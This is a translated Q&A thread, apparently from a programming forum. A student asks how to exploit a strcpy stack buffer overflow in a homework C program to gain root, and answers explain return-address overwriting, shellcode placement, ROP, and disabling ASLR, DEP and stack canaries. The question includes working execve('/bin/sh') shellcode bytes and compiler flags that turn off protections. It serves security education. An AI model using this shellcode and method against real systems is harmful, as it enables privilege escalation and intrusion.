我有一些关于缓冲区溢出的功课。
int func1(char *str) {
char buffer[400];
strcpy(buffer,str);
printf("%s\n", buffer);
}
int main(int argc, char *argv[]) {
func1(argv[1]);
}
这是我的bufferoverflow.c,我也有shellcode.txt
\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
目标是使用bufferoverflow获取root权限。
但是,我不知道该怎么办。
我使用'gdb'和disas关于main和func1函数。
但是,汇编代码没有给我很多信息。
转储函数main的汇编代码:
0x08048422 <+0>: push %ebp
0x08048423 <+1>: mov %esp,%ebp
0x08048425 <+3>: and $0xfffffff0,%esp
0x08048428 <+6>: sub $0x10,%esp
0x0804842b <+9>: mov 0xc(%ebp),%eax
0x0804842e <+12>: add $0x4,%eax
0x08048431 <+15>: mov (%eax),%eax
0x08048433 <+17>: mov %eax,(%esp)
0x08048436 <+20>: call 0x80483f4 <func1>
0x0804843b <+25>: leave
0x0804843c <+26>: ret
转储函数func1的汇编代码:
0x080483f4 <+0>: push %ebp
0x080483f5 <+1>: mov %esp,%ebp
0x080483f7 <+3>: sub $0x1a8,%esp
0x080483fd <+9>: mov 0x8(%ebp),%eax
0x08048400 <+12>: mov %eax,0x4(%esp)
0x08048404 <+16>: lea -0x198(%ebp),%eax
0x0804840a <+22>: mov %eax,(%esp)
0x0804840d <+25>: call 0x8048314 <strcpy@plt>
0x08048412 <+30>: lea -0x198(%ebp),%eax
0x08048418 <+36>: mov %eax,(%esp)
0x0804841b <+39>: call 0x8048324 <puts@plt>
0x08048420 <+44>: leave
0x08048421 <+45>: ret
答案 0 :(得分:0)
如果要挂载缓冲区溢出攻击。 首先,你必须找到一些方法来破坏易受攻击的程序的控制流程,从它的正常过程,和 其次,您必须使程序以您选择的方式行事。
在你的情况下,func1的缓冲区容量为400个字符,并且它不会检查输入的边界。因此,您可以发送超过400个字符并以您的方式覆盖堆栈中func1的返回地址。
您可以使用传统的堆栈粉碎攻击来实现第二个目的。这是将代码注入func1,并且堆栈上的修改后的返回地址指向此代码。 然而,堆栈粉碎攻击通常由大多数现代架构和操作系统提供的DEP进行防御。
最有效的方法是使用ROP攻击。 ROP攻击不会在目标程序中注入代码。它会找到一些已经存在于您系统中的小工具(例如libc),然后将这些小工具链接在一起以完成攻击(在您的情况下获得root权限)。 ROP shellcode包含这些小工具和一些数据的地址。 我不检查你的shell代码是否是ROP shellcode。
有关ROP的更多详情: [1]面向回归的编程:系统,语言和应用 [2]面向回归的编程。 http://en.wikipedia.org/wiki/Return-oriented_programming
答案 1 :(得分:0)
如果ASLR已关闭,则堆栈cookie已关闭,并且NX已启用 您可以尝试将EIP替换为指向系统调用的某个地址
如果ASLR已打开且NX已打开 您可能必须泄漏地址或使用ROP来获取root shell。
答案 2 :(得分:0)
您是否填写了缓冲区和SFP?
Bof(缓冲区溢出)攻击必须是重载buf,sfp,然后你输入shellcode地址
显示堆栈帧 BUF | SFP | RET(返回地址)
目的是控制RET
所以你可以攻击很多方式
首先,在buf中输入shellcode并使用gdb查找buf地址,然后填充剩余的buf,SFP最终在RET上输入buf地址(shellcode)
第二,使用环境变量(shellcode)并获取地址脚本然后在RET上填充buf,SFP最终输入环境变量地址
你想先攻击可以成功,你必须关闭ASLR,DEP
并且第二次攻击也必须离开ASLR
进入终端
echo 0 > /proc/sys/kernel/randomize_va_space : ASLR OFF
-fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 : gcc compile option no dummy buf and no DEP protect and compile to 32bit binary